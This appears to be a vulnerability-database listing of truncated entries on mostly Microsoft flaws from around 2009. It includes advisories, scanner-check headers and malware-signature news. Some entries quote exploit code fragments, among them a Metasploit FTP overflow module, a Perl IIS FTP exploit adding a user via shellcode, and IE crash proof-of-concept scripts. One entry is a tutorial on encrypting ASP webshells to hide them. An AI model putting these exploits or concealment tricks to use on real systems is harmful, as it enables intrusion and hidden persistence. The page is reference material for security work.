JVN#49602378 SEIL/B1 authentication issue

The PPP Access Concentrator PPPAC function within SEIL/B1 contains an issue in the CHAP and MS-CHAP-V2 authentication processes, the same challenge value is repeatedly used for each authentication attempt. Impact A third party may be able to perform replay attacks. As a result, the third party ma...

Microsoft Internet Authentication Service multiple security vulnerabilities

MS-CHAP authentication bypass, memory corruption...

Microsoft Windows IAS Remote Code Execution Vulnerability (974318)

This host is missing a critical security update according to Microsoft Bulletin MS09-071. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...

Microsoft Internet Authentication Service MS-CHAP Security Bypass (MS09-071; CVE-2009-3677)

An elevation of privilege vulnerability has been reported in the Internet Authentication Service. Internet Authentication Service IAS is the Microsoft implementation of a Remote Authentication Dial-in User Service RADIUS server and proxy. As a RADIUS server, IAS performs centralized connection...

Data from MS Shows Password Attack Focus

Microsoft released data collected from an FTP-server honeypot, showing that attempts to guess passwords continue to focus on the low-hanging fruit: passwords with an average length of eight characters, with “password” and “123456” being the most common. Read the full article. Security Focus...

Quick FTP Pro 2.1 Transfer-Mode Overflow

require 'msf/core' class Metasploit3 'Quick FTP Pro 2.1 Transfer-Mode Overflow', 'Description' = %q This module exploits a stack overflow in the Quick TFTP Pro server product. MS Update KB926436 screws up the opcode address being used in oledlg.dll resulting in a DoS. This is a port of a sploit b...

ASP code encrypt hide webshell-vulnerability warning-the black bar safety net

In order to your webshell and more covert! The following will tell you how the ASP code encryption! First of all ASP code is generally plain text, very few encryption, MS have a tool Script Encoder can be encrypted, this stuff can be the official Microsoft site for free download, and there are...

Novell eDirectory MS-DOS Device Name Denial of Service (CVE-2005-1729)

Novell eDirectory is a Lightweight Directory Access Protocol LDAP server intended for use as a part of an identity management solution. The product is made available for multiple platforms including NetWare, Unix-like systems, and Windows. The product includes a web server component that is used...

MS Internet Explorer 6 - 8 Content-Encoding Memory Corruption

No description provided by source. MSIE Content-Encoding: deflate memory corruption vulnerability a.k.a. MSRC 8769, MS09-054, CVE-2009-1547, “Data Stream Header Corruption Vulnerability” Microsoft fixed a bug in Internet Explorer’s “Content-Encoding:deflate” implementation. Here are two...

Microsoft ATL ActiveX Controls for MS Office Could Allow Remote Code Execution (973965)

This host is missing a critical security update according to Microsoft Bulletin MS09-060. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...

Microsoft Windows Vista/7 - SMB2.0 Negotiate Protocol Request Remote Blue Screen of Death (MS07-063)

============================================= - Release date: September 7th, 2009 - Discovered by: Laurent Gaffié - Severity: High ============================================= I. VULNERABILITY ------------------------- Windows Vista, Server 2008 R2, 7 RC : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remo...

MS IIS 5.0/6.0 FTP Server remote overflow vulnerability(win2k)-vulnerability warning-the black bar safety net

IIS 5.0 FTPd / Remote r00t exploit Win2k SP4 targets bug found &exploited by Kingcope, kcope2atgooglemail.com Affects IIS6 with stack cookie protection August 2 0 0 9 - KEEP THIS 0DAY PRIV8 use I:Socket; $|=1; metasploit shellcode, adduser "winown:nwoniw" $sc =...

MS Internet Explorer (Javascript SetAttribute) Remote Crash Exploit

No description provided by source. html head title Irfan Asrar/title /head body onload="c" Set Attribute Crash : Tested with IE7 Vista IE6 XP2 IE6 XP3 script type="text/javascript" function c var li = document.createElement"li"; li.setAttribute"value", "1"; li.value = "1"; /script /body /html...

MS Windows 2003 (EOT File) BSOD Crash Exploit

No description provided by source. MS Windows 2003 EOT File BSOD Crash Exploit author: webDEViL http://milw0rm.com/sploits/2009-wwbsod.zip http://sebug.net/local/2009-exploits/0908-exploits/2009-wwbsod.zip...

Microsoft OWC ActiveX Control 'BorderAround()' Heap Corruption Remote Code Execution Vulnerability

Description Microsoft Office Web Components ActiveX control is prone to a remote code-execution vulnerability. An attacker could exploit this issue by enticing a victim to visit a maliciously crafted webpage. Successful exploits will allow the attacker to execute arbitrary code within the context...

MS Internet Explorer 7/8 findText Unicode Parsing Crash Exploit

No description provided by source. meta http-equiv="Context-Type" content="text/html; charset=US-ASCII" !-- Contact:[email protected],[email protected] Title: MS Internet Explorer findText Unicode Parsing error Vulnerability mshtml.dll Bug discovered: Hong10 PoC code: AmesianX & Hong10 Critical:...

Microsoft Internet Explorer Unicode Crash

IE findText crash Hit the button after ie7/8 crash.. function docrash var o1=document.createElement"input"; o1.type="text"; //or password o1.id="powerhacker"; o1.value="AAAA"; document.body.appendChildo1; var r= o1.createTextRange;...

Microsoft Internet Explorer 78 - findText Unicode Parsing Crash

Microsoft Internet Explorer 78 - findText Unicode Parsing Crash IE findText crash Hit the button after ie7/8 crash.. function docrash var o1=document.createElement"input"; o1.type="text"; //or password o1.id="powerhacker"; o1.value="AAAA"; document.body.appendChildo1; var r= o1.createTextRange;...

Audio Editor Pro 2.91 Remote Memory Corruption PoC

No description provided by source. Title: Audio Editor Pro 2.91 Remote Memory Corruption PoC Product web page: http://www.mightsoft.com/ Summary: Audio Editor Pro is a visual multifunctional audio files editor for Microsoft Windows Tested on: MS Windows XP Pro SP3 EN...

Update Protection against Recent Malware Threats (5-Jul-09)

The update includes new protections against 11 recent malware threats: Trickler: Trojan.Swizzor-D - Trojan.Swizzor-D is a downloader Trojan that downloads malicious files form remote hosts onto the infected machines. It also communicates with remote servers and transfers unwanted advertisement...